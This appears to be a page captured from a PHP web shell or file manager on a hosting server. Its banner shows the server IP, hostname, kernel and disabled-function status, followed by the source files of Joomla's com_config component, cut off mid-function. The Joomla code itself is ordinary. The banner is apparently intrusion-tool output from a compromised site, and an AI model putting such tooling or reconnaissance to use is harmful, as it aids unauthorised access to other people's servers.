uawdijnntqw1x1x1
IP : 216.73.216.231
Hostname : 213-108-241-110.cprapid.com
Kernel : Linux 213-108-241-110.cprapid.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
digilove
/
public_html
/
f7525
/
f7525
/
..
/
..
/
41423
/
com_config.tar
/
/
controller/config/display.php000064400000004435152325744500012367 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Display Controller for global configuration * * @since 3.2 */ class ConfigControllerConfigDisplay extends ConfigControllerDisplay { /** * Method to display global configuration. * * @return boolean True on success, false on failure. * * @since 3.2 */ public function execute() { // Get the application $app = $this->getApplication(); // Get the document object. $document = JFactory::getDocument(); $viewName = $this->input->getWord('view', 'config'); $viewFormat = $document->getType(); $layoutName = $this->input->getWord('layout', 'default'); // Access backend com_config JLoader::registerPrefix(ucfirst($viewName), JPATH_ADMINISTRATOR . '/components/com_config'); $displayClass = new ConfigControllerApplicationDisplay; // Set backend required params $document->setType('json'); $app->input->set('view', 'application'); // Execute backend controller $serviceData = json_decode($displayClass->execute(), true); // Reset params back after requesting from service $document->setType('html'); $app->input->set('view', $viewName); // Register the layout paths for the view $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal'); $viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat); $modelClass = 'ConfigModel' . ucfirst($viewName); if (class_exists($viewClass)) { if ($viewName !== 'close') { $model = new $modelClass; // Access check. if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option'))) { return; } } $view = new $viewClass($model, $paths); $view->setLayout($layoutName); // Push document object into the view. $view->document = $document; // Load form and bind data $form = $model->getForm(); if ($form) { $form->bind($serviceData); } // Set form and data to the view $view->form = &$form; $view->data = &$serviceData; // Render view. echo $view->render(); } return true; } } controller/config/index.html000064400000000037152325744500012200 0ustar00<!DOCTYPE html><title></title> controller/config/save.php000064400000005617152325744500011663 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Save Controller for global configuration * * @since 3.2 */ class ConfigControllerConfigSave extends JControllerBase { /** * Application object - Redeclared for proper typehinting * * @var JApplicationCms * @since 3.2 */ protected $app; /** * Method to save global configuration. * * @return boolean True on success. * * @since 3.2 */ public function execute() { // Check for request forgeries. if (!JSession::checkToken()) { $this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE')); $this->app->redirect('index.php'); } // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { $this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR')); $this->app->redirect('index.php'); } // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); $model = new ConfigModelConfig; $form = $model->getForm(); $data = $this->input->post->get('jform', array(), 'array'); // Validate the posted data. $return = $model->validate($form, $data); // Check for validation errors. if ($return === false) { /* * The validate method enqueued all messages for us, so we just need to redirect back. */ // Save the data in the session. $this->app->setUserState('com_config.config.global.data', $data); // Redirect back to the edit screen. $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false)); } // Attempt to save the configuration. $data = $return; // Access backend com_config JLoader::registerPrefix('Config', JPATH_ADMINISTRATOR . '/components/com_config'); $saveClass = new ConfigControllerApplicationSave; // Get a document object $document = JFactory::getDocument(); // Set backend required params $document->setType('json'); // Execute backend controller $return = $saveClass->execute(); // Reset params back after requesting from service $document->setType('html'); // Check the return value. if ($return === false) { /* * The save method enqueued all messages for us, so we just need to redirect back. */ // Save the data in the session. $this->app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false)); } // Redirect back to com_config display $this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS')); $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false)); return true; } } controller/modules/cancel.php000064400000003225152325744500012346 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Cancel Controller for module editing * * @package Joomla.Site * @subpackage com_config * @since 3.2 */ class ConfigControllerModulesCancel extends ConfigControllerCanceladmin { /** * Method to cancel module editing. * * @return boolean True on success. * * @since 3.2 */ public function execute() { // Check if the user is authorized to do this. $user = JFactory::getUser(); if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id'))) { $this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR')); $this->app->redirect('index.php'); } $this->context = 'com_config.config.global'; // Get returnUri $returnUri = $this->input->post->get('return', null, 'base64'); if (!empty($returnUri)) { $this->redirect = base64_decode(urldecode($returnUri)); } else { $this->redirect = JUri::base(); } $id = $this->input->getInt('id'); // Access backend com_module JLoader::register('ModulesControllerModule', JPATH_ADMINISTRATOR . '/components/com_modules/controllers/module.php'); JLoader::register('ModulesViewModule', JPATH_ADMINISTRATOR . '/components/com_modules/views/module/view.json.php'); JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php'); $cancelClass = new ModulesControllerModule; $cancelClass->cancel($id); parent::execute(); } } controller/modules/display.php000064400000006137152325744500012573 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Display Controller for module editing * * @package Joomla.Site * @subpackage com_config * @since 3.2 */ class ConfigControllerModulesDisplay extends ConfigControllerDisplay { /** * Method to display module editing. * * @return boolean True on success, false on failure. * * @since 3.2 */ public function execute() { // Get the application $app = $this->getApplication(); // Get the document object. $document = JFactory::getDocument(); $viewName = $this->input->getWord('view', 'modules'); $viewFormat = $document->getType(); $layoutName = $this->input->getWord('layout', 'default'); $returnUri = $this->input->get->get('return', null, 'base64'); // Construct redirect URI if (!empty($returnUri)) { $redirect = base64_decode(urldecode($returnUri)); // Don't redirect to an external URL. if (!JUri::isInternal($redirect)) { $redirect = JUri::base(); } } else { $redirect = JUri::base(); } // Access backend com_module JLoader::register('ModulesController', JPATH_ADMINISTRATOR . '/components/com_modules/controller.php'); JLoader::register('ModulesViewModule', JPATH_ADMINISTRATOR . '/components/com_modules/views/module/view.json.php'); JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php'); $displayClass = new ModulesController; // Get the parameters of the module with Id $document->setType('json'); // Execute backend controller if (!($serviceData = json_decode($displayClass->display(), true))) { $app->redirect($redirect); } // Reset params back after requesting from service $document->setType('html'); $app->input->set('view', $viewName); // Register the layout paths for the view $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal'); $viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat); $modelClass = 'ConfigModel' . ucfirst($viewName); if (class_exists($viewClass)) { $model = new $modelClass; // Access check. $user = JFactory::getUser(); if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $serviceData['id'])) { $app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error'); $app->redirect($redirect); } // Need to add module name to the state of model $model->getState()->set('module.name', $serviceData['module']); $view = new $viewClass($model, $paths); $view->setLayout($layoutName); // Push document object into the view. $view->document = $document; // Load form and bind data $form = $model->getForm(); if ($form) { $form->bind($serviceData); } // Set form and data to the view $view->form = &$form; $view->item = &$serviceData; // Render view. echo $view->render(); } return true; } } controller/modules/save.php000064400000006215152325744500012061 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Save Controller for module editing * * @package Joomla.Site * @subpackage com_config * @since 3.2 */ class ConfigControllerModulesSave extends JControllerBase { /** * Method to save module editing. * * @return boolean True on success. * * @since 3.2 */ public function execute() { // Check for request forgeries. if (!JSession::checkToken()) { $this->app->enqueueMessage(JText::_('JINVALID_TOKEN')); $this->app->redirect('index.php'); } // Check if the user is authorized to do this. $user = JFactory::getUser(); if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id'))) { $this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error'); $this->app->redirect('index.php'); } // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); // Get submitted module id $moduleId = '&id=' . $this->input->get('id'); // Get returnUri $returnUri = $this->input->post->get('return', null, 'base64'); $redirect = ''; if (!empty($returnUri)) { $redirect = '&return=' . $returnUri; } // Access backend com_modules to be done JLoader::register('ModulesControllerModule', JPATH_ADMINISTRATOR . '/components/com_modules/controllers/module.php'); JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php'); $controllerClass = new ModulesControllerModule; // Get a document object $document = JFactory::getDocument(); // Set backend required params $document->setType('json'); // Execute backend controller $return = $controllerClass->save(); // Reset params back after requesting from service $document->setType('html'); // Check the return value. if ($return === false) { // Save the data in the session. $data = $this->input->post->get('jform', array(), 'array'); $this->app->setUserState('com_config.modules.global.data', $data); // Save failed, go back to the screen and display a notice. $this->app->enqueueMessage(JText::_('JERROR_SAVE_FAILED')); $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.modules' . $moduleId . $redirect, false)); } // Redirect back to com_config display $this->app->enqueueMessage(JText::_('COM_CONFIG_MODULES_SAVE_SUCCESS')); // Set the redirect based on the task. switch ($this->options[3]) { case 'apply': $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.modules' . $moduleId . $redirect, false)); break; case 'save': default: if (!empty($returnUri)) { $redirect = base64_decode(urldecode($returnUri)); // Don't redirect to an external URL. if (!JUri::isInternal($redirect)) { $redirect = JUri::base(); } } else { $redirect = JUri::base(); } $this->app->redirect($redirect); break; } } } controller/templates/display.php000064400000005102152325744500013110 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Display Controller for global configuration * * @since 3.2 */ class ConfigControllerTemplatesDisplay extends ConfigControllerDisplay { /** * Method to display global configuration. * * @return boolean True on success, false on failure. * * @since 3.2 */ public function execute() { // Get the application $app = $this->getApplication(); // Get the document object. $document = JFactory::getDocument(); $viewName = $this->input->getWord('view', 'templates'); $viewFormat = $document->getType(); $layoutName = $this->input->getWord('layout', 'default'); // Access backend com_config JLoader::register('TemplatesController', JPATH_ADMINISTRATOR . '/components/com_templates/controller.php'); JLoader::register('TemplatesViewStyle', JPATH_ADMINISTRATOR . '/components/com_templates/views/style/view.json.php'); JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php'); $displayClass = new TemplatesController; // Set backend required params $document->setType('json'); $this->input->set('id', $app->getTemplate(true)->id); // Execute backend controller $serviceData = json_decode($displayClass->display(), true); // Reset params back after requesting from service $document->setType('html'); $this->input->set('view', $viewName); // Register the layout paths for the view $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal'); $viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat); $modelClass = 'ConfigModel' . ucfirst($viewName); if (class_exists($viewClass)) { if ($viewName !== 'close') { $model = new $modelClass; // Access check. if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option'))) { $app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error'); return; } } $view = new $viewClass($model, $paths); $view->setLayout($layoutName); // Push document object into the view. $view->document = $document; // Load form and bind data $form = $model->getForm(); if ($form) { $form->bind($serviceData); } // Set form and data to the view $view->form = &$form; // Render view. echo $view->render(); } return true; } } controller/templates/index.html000064400000000037152325744500012731 0ustar00<!DOCTYPE html><title></title> controller/templates/save.php000064400000004653152325744500012413 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Save Controller for global configuration * * @since 3.2 */ class ConfigControllerTemplatesSave extends JControllerBase { /** * Method to save global configuration. * * @return boolean True on success. * * @since 3.2 */ public function execute() { // Check for request forgeries. if (!JSession::checkToken()) { JFactory::getApplication()->redirect('index.php', JText::_('JINVALID_TOKEN')); } // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); $app = JFactory::getApplication(); // Access backend com_templates JLoader::register('TemplatesControllerStyle', JPATH_ADMINISTRATOR . '/components/com_templates/controllers/style.php'); JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php'); JLoader::register('TemplatesTableStyle', JPATH_ADMINISTRATOR . '/components/com_templates/tables/style.php'); $controllerClass = new TemplatesControllerStyle; // Get a document object $document = JFactory::getDocument(); // Set backend required params $document->setType('json'); $this->input->set('id', $app->getTemplate(true)->id); // Execute backend controller $return = $controllerClass->save(); // Reset params back after requesting from service $document->setType('html'); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $message = JText::sprintf('JERROR_SAVE_FAILED'); $app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message, 'error'); return false; } // Set the success message. $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); // Redirect back to com_config display $app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message); return true; } } controller/cancel.php000064400000001301152325744500010667 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Cancel Controller * * @since 3.2 */ class ConfigControllerCancel extends JControllerBase { /** * Application object - Redeclared for proper typehinting * * @var JApplicationCms * @since 3.2 */ protected $app; /** * Method to handle cancel * * @return boolean True on success. * * @since 3.2 */ public function execute() { // Redirect back to home(base) page $this->app->redirect(JUri::base()); } } controller/canceladmin.php000064400000002721152325744500011707 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Cancel Controller for Admin * * @since 3.2 */ class ConfigControllerCanceladmin extends ConfigControllerCancel { /** * The context for storing internal data, e.g. record. * * @var string * @since 3.2 */ protected $context; /** * The URL option for the component. * * @var string * @since 3.2 */ protected $option; /** * URL for redirection. * * @var string * @since 3.2 * @note Replaces _redirect. */ protected $redirect; /** * Method to handle admin cancel * * @return boolean True on success. * * @since 3.2 */ public function execute() { // Check for request forgeries. if (!JSession::checkToken()) { $this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE')); $this->app->redirect('index.php'); } if (empty($this->context)) { $this->context = $this->option . '.edit' . $this->context; } // Redirect. $this->app->setUserState($this->context . '.data', null); if (!empty($this->redirect)) { // Don't redirect to an external URL. if (!JUri::isInternal($this->redirect)) { $this->redirect = JUri::base(); } $this->app->redirect($this->redirect); } else { parent::execute(); } } } controller/cmsbase.php000064400000002073152325744500011066 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Base Display Controller * * @since 3.2 */ class ConfigControllerCmsbase extends JControllerBase { /** * Prefix for the view and model classes * * @var string * @since 3.2 */ public $prefix; /** * Execute the controller. * * @return mixed A rendered view or true * * @since 3.2 */ public function execute() { // Check for request forgeries if (!JSession::checkToken()) { $this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE')); $this->app->redirect('index.php'); } // Get the application $this->app = $this->getApplication(); $this->app->redirect('index.php?option=' . $this->input->get('option')); $this->componentFolder = $this->input->getWord('option', 'com_content'); $this->viewName = $this->input->getWord('view'); return $this; } } controller/display.php000064400000005277152325744500011127 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Base Display Controller * * @since 3.2 */ class ConfigControllerDisplay extends JControllerBase { /** * Application object - Redeclared for proper typehinting * * @var JApplicationCms * @since 3.2 */ protected $app; /** * Prefix for the view and model classes * * @var string * @since 3.2 */ public $prefix = 'Config'; /** * Execute the controller. * * @return mixed A rendered view or true * * @since 3.2 */ public function execute() { // Get the document object. $document = JFactory::getDocument(); $componentFolder = $this->input->getWord('option', 'com_config'); if ($this->app->isClient('administrator')) { $viewName = $this->input->getWord('view', 'application'); } else { $viewName = $this->input->getWord('view', 'config'); } $viewFormat = $document->getType(); $layoutName = $this->input->getWord('layout', 'default'); // Register the layout paths for the view $paths = new SplPriorityQueue; if ($this->app->isClient('administrator')) { $paths->insert(JPATH_ADMINISTRATOR . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1); } else { $paths->insert(JPATH_BASE . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1); } $viewClass = $this->prefix . 'View' . ucfirst($viewName) . ucfirst($viewFormat); $modelClass = $this->prefix . 'Model' . ucfirst($viewName); if (class_exists($viewClass)) { $model = new $modelClass; $component = $model->getState()->get('component.option'); // Make sure com_joomlaupdate and com_privacy can only be accessed by SuperUser if (in_array(strtolower($component), array('com_joomlaupdate', 'com_privacy')) && !JFactory::getUser()->authorise('core.admin')) { $this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error'); return; } // Access check. if (!JFactory::getUser()->authorise('core.admin', $component) && !JFactory::getUser()->authorise('core.options', $component)) { $this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error'); return; } $view = new $viewClass($model, $paths); $view->setLayout($layoutName); // Push document object into the view. $view->document = $document; // Reply for service requests if ($viewFormat === 'json') { $this->app->allowCache(false); return $view->render(); } // Render view. echo $view->render(); } return true; } } controller/helper.php000064400000005071152325744500010731 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Helper class for controllers * * @since 3.2 */ class ConfigControllerHelper { /** * Method to parse a controller from a url * Defaults to the base controllers and passes an array of options. * $options[0] is the location of the controller which defaults to the core libraries (referenced as 'j' * and then the named folder within the component entry point file. * $options[1] is the name of the controller file, * $options[2] is the name of the folder found in the component controller folder for controllers * not prefixed with Config. * Additional options maybe added to parameterize the controller. * * @param JApplicationBase $app An application object * * @return JController A JController object * * @since 3.2 */ public function parseController($app) { $tasks = array(); if ($task = $app->input->get('task')) { // Toolbar expects old style but we are using new style // Remove when toolbar can handle either directly if (strpos($task, '/') !== false) { $tasks = explode('/', $task); } else { $tasks = explode('.', $task); } } elseif ($controllerTask = $app->input->get('controller')) { // Temporary solution if (strpos($controllerTask, '/') !== false) { $tasks = explode('/', $controllerTask); } else { $tasks = explode('.', $controllerTask); } } if (empty($tasks[0]) || $tasks[0] === 'Config') { $location = 'Config'; } else { $location = ucfirst(strtolower($tasks[0])); } if (empty($tasks[1])) { $activity = 'Display'; } else { $activity = ucfirst(strtolower($tasks[1])); } $view = ''; if (!empty($tasks[2])) { $view = ucfirst(strtolower($tasks[2])); } // Some special handling for com_config administrator $option = $app->input->get('option'); if ($option === 'com_config' && $app->isClient('administrator')) { $component = $app->input->get('component'); if (!empty($component)) { $view = 'Component'; } elseif ($option === 'com_config') { $view = 'Application'; } } $controllerName = $location . 'Controller' . $view . $activity; if (!class_exists($controllerName)) { return false; } $controller = new $controllerName; $controller->options = array(); $controller->options = $tasks; return $controller; } } controller/index.html000064400000000037152325744500010733 0ustar00<!DOCTYPE html><title></title> model/form/config.xml000064400000005261152325744500010611 0ustar00<?xml version="1.0" encoding="utf-8"?> <form> <fieldset name="metadata" label="COM_CONFIG_METADATA_SETTINGS"> <field name="MetaDesc" type="textarea" label="COM_CONFIG_FIELD_METADESC_LABEL" description="COM_CONFIG_FIELD_METADESC_DESC" filter="string" cols="60" rows="3" /> <field name="MetaKeys" type="textarea" label="COM_CONFIG_FIELD_METAKEYS_LABEL" description="COM_CONFIG_FIELD_METAKEYS_DESC" filter="string" cols="60" rows="3" /> <field name="MetaRights" type="textarea" label="JFIELD_META_RIGHTS_LABEL" description="JFIELD_META_RIGHTS_DESC" filter="string" cols="60" rows="2" /> </fieldset> <fieldset name="seo" label="CONFIG_SEO_SETTINGS_LABEL"> <field name="sef" type="radio" label="COM_CONFIG_FIELD_SEF_URL_LABEL" description="COM_CONFIG_FIELD_SEF_URL_DESC" default="1" class="btn-group" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="sitename_pagetitles" type="list" label="COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL" description="COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC" default="0" filter="integer" > <option value="2">COM_CONFIG_FIELD_VALUE_AFTER</option> <option value="1">COM_CONFIG_FIELD_VALUE_BEFORE</option> <option value="0">JNO</option> </field> </fieldset> <fieldset name="site" label="CONFIG_SITE_SETTINGS_LABEL"> <field name="sitename" type="text" label="COM_CONFIG_FIELD_SITE_NAME_LABEL" description="COM_CONFIG_FIELD_SITE_NAME_DESC" required="true" filter="string" size="50" /> <field name="offline" type="radio" label="COM_CONFIG_FIELD_SITE_OFFLINE_LABEL" description="COM_CONFIG_FIELD_SITE_OFFLINE_DESC" default="0" class="btn-group" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="access" type="accesslevel" label="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL" description="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC" default="1" filter="integer" /> <field name="list_limit" type="list" label="COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL" description="COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC" default="20" filter="integer" > <option value="5">J5</option> <option value="10">J10</option> <option value="15">J15</option> <option value="20">J20</option> <option value="25">J25</option> <option value="30">J30</option> <option value="50">J50</option> <option value="100">J100</option> </field> </fieldset> <fieldset> <field name="asset_id" type="hidden" /> </fieldset> </form> model/form/index.html000064400000000037152325744500010613 0ustar00<!DOCTYPE html><title></title> model/form/modules.xml000064400000005704152325744500011016 0ustar00<?xml version="1.0" encoding="utf-8"?> <form> <fieldset> <field name="id" type="number" label="JGLOBAL_FIELD_ID_LABEL" description="JGLOBAL_FIELD_ID_DESC" default="0" readonly="true" /> <field name="title" type="text" label="JGLOBAL_TITLE" description="COM_MODULES_FIELD_TITLE_DESC" maxlength="100" required="true" size="35" /> <field name="note" type="text" label="COM_MODULES_FIELD_NOTE_LABEL" description="COM_MODULES_FIELD_NOTE_DESC" maxlength="255" size="35" /> <field name="module" type="hidden" label="COM_MODULES_FIELD_MODULE_LABEL" description="COM_MODULES_FIELD_MODULE_DESC" readonly="readonly" size="20" /> <field name="showtitle" type="radio" label="COM_MODULES_FIELD_SHOWTITLE_LABEL" description="COM_MODULES_FIELD_SHOWTITLE_DESC" class="btn-group btn-group-yesno" default="1" size="1" > <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field> <field name="published" type="radio" label="JSTATUS" description="COM_MODULES_FIELD_PUBLISHED_DESC" class="btn-group" default="1" size="1" > <option value="1">JPUBLISHED</option> <option value="0">JUNPUBLISHED</option> <option value="-2">JTRASHED</option> </field> <field name="publish_up" type="calendar" label="COM_MODULES_FIELD_PUBLISH_UP_LABEL" description="COM_MODULES_FIELD_PUBLISH_UP_DESC" filter="user_utc" class="input-medium" translateformat="true" showtime="true" size="22" /> <field name="publish_down" type="calendar" label="COM_MODULES_FIELD_PUBLISH_DOWN_LABEL" description="COM_MODULES_FIELD_PUBLISH_DOWN_DESC" filter="user_utc" class="input-medium" translateformat="true" showtime="true" size="22" /> <field name="client_id" type="hidden" label="COM_MODULES_FIELD_CLIENT_ID_LABEL" description="COM_MODULES_FIELD_CLIENT_ID_DESC" readonly="true" size="1" /> <field name="position" type="moduleposition" label="COM_MODULES_FIELD_POSITION_LABEL" description="COM_MODULES_FIELD_POSITION_DESC" default="" maxlength="50" /> <field name="access" type="accesslevel" label="JFIELD_ACCESS_LABEL" description="JFIELD_ACCESS_DESC" size="1" /> <field name="ordering" type="moduleorder" label="JFIELD_ORDERING_LABEL" description="JFIELD_ORDERING_DESC" /> <field name="content" type="editor" label="COM_MODULES_FIELD_CONTENT_LABEL" description="COM_MODULES_FIELD_CONTENT_DESC" buttons="true" class="inputbox" filter="JComponentHelper::filterText" hide="readmore,pagebreak" /> <field name="language" type="contentlanguage" label="JFIELD_LANGUAGE_LABEL" description="JFIELD_MODULE_LANGUAGE_DESC" > <option value="*">JALL</option> </field> <field name="assignment" type="hidden" /> <field name="assigned" type="hidden" /> </fieldset> </form> model/form/modules_advanced.xml000064400000002050152325744500012632 0ustar00<?xml version="1.0" encoding="utf-8"?> <form> <fields name="params"> <fieldset name="advanced"> <field name="module_tag" type="moduletag" label="COM_MODULES_FIELD_MODULE_TAG_LABEL" description="COM_MODULES_FIELD_MODULE_TAG_DESC" default="div" validate="options" /> <field name="bootstrap_size" type="integer" label="COM_MODULES_FIELD_BOOTSTRAP_SIZE_LABEL" description="COM_MODULES_FIELD_BOOTSTRAP_SIZE_DESC" first="0" last="12" step="1" /> <field name="header_tag" type="headertag" label="COM_MODULES_FIELD_HEADER_TAG_LABEL" description="COM_MODULES_FIELD_HEADER_TAG_DESC" default="h3" validate="options" /> <field name="header_class" type="text" label="COM_MODULES_FIELD_HEADER_CLASS_LABEL" description="COM_MODULES_FIELD_HEADER_CLASS_DESC" /> <field name="style" type="chromestyle" label="COM_MODULES_FIELD_MODULE_STYLE_LABEL" description="COM_MODULES_FIELD_MODULE_STYLE_DESC" /> </fieldset> </fields> </form> model/form/templates.xml000064400000001576152325744500011347 0ustar00<?xml version="1.0" encoding="utf-8"?> <form> <fieldset> <field name="id" type="number" label="JGLOBAL_FIELD_ID_LABEL" description="JGLOBAL_FIELD_ID_DESC" id="id" default="0" readonly="true" class="readonly" /> <field name="template" type="text" label="COM_TEMPLATES_FIELD_TEMPLATE_LABEL" description="COM_TEMPLATES_FIELD_TEMPLATE_DESC" class="readonly" size="30" readonly="true" /> <field name="client_id" type="hidden" label="COM_TEMPLATES_FIELD_CLIENT_LABEL" description="COM_TEMPLATES_FIELD_CLIENT_DESC" class="readonly" default="0" readonly="true" /> <field name="title" type="text" label="COM_TEMPLATES_FIELD_TITLE_LABEL" description="COM_TEMPLATES_FIELD_TITLE_DESC" class="inputbox" size="50" required="true" /> <field name="assigned" type="hidden" /> </fieldset> </form> model/cms.php000064400000014060152325744500007147 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Registry\Registry; /** * Prototype admin model. * * @since 3.2 */ abstract class ConfigModelCms extends JModelDatabase { /** * The model (base) name * * @var string * @since 3.2 */ protected $name; /** * The URL option for the component. * * @var string * @since 3.2 */ protected $option = null; /** * The prefix to use with controller messages. * * @var string * @since 3.2 */ protected $text_prefix = null; /** * Indicates if the internal state has been set * * @var boolean * @since 3.2 */ protected $__state_set = null; /** * Constructor * * @param array $config An array of configuration options (name, state, dbo, table_path, ignore_request). * * @since 3.2 * @throws Exception */ public function __construct($config = array()) { // Guess the option from the class name (Option)Model(View). if (empty($this->option)) { $r = null; if (!preg_match('/(.*)Model/i', get_class($this), $r)) { throw new Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500); } $this->option = 'com_' . strtolower($r[1]); } // Set the view name if (empty($this->name)) { if (array_key_exists('name', $config)) { $this->name = $config['name']; } else { $this->name = $this->getName(); } } // Set the model state if (array_key_exists('state', $config)) { $this->state = $config['state']; } else { $this->state = new Registry; } // Set the model dbo if (array_key_exists('dbo', $config)) { $this->db = $config['dbo']; } // Register the paths for the form $paths = $this->registerTablePaths($config); // Set the internal state marker - used to ignore setting state from the request if (!empty($config['ignore_request'])) { $this->__state_set = true; } // Set the clean cache event if (isset($config['event_clean_cache'])) { $this->event_clean_cache = $config['event_clean_cache']; } elseif (empty($this->event_clean_cache)) { $this->event_clean_cache = 'onContentCleanCache'; } $state = new Registry($config); parent::__construct($state); } /** * Method to get the model name * * The model name. By default parsed using the classname or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @since 3.2 * @throws Exception */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/Model(.*)/i', get_class($this), $r)) { throw new Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500); } $this->name = strtolower($r[1]); } return $this->name; } /** * Method to get model state variables * * @return object The property where specified, the state object where omitted * * @since 3.2 */ public function getState() { if 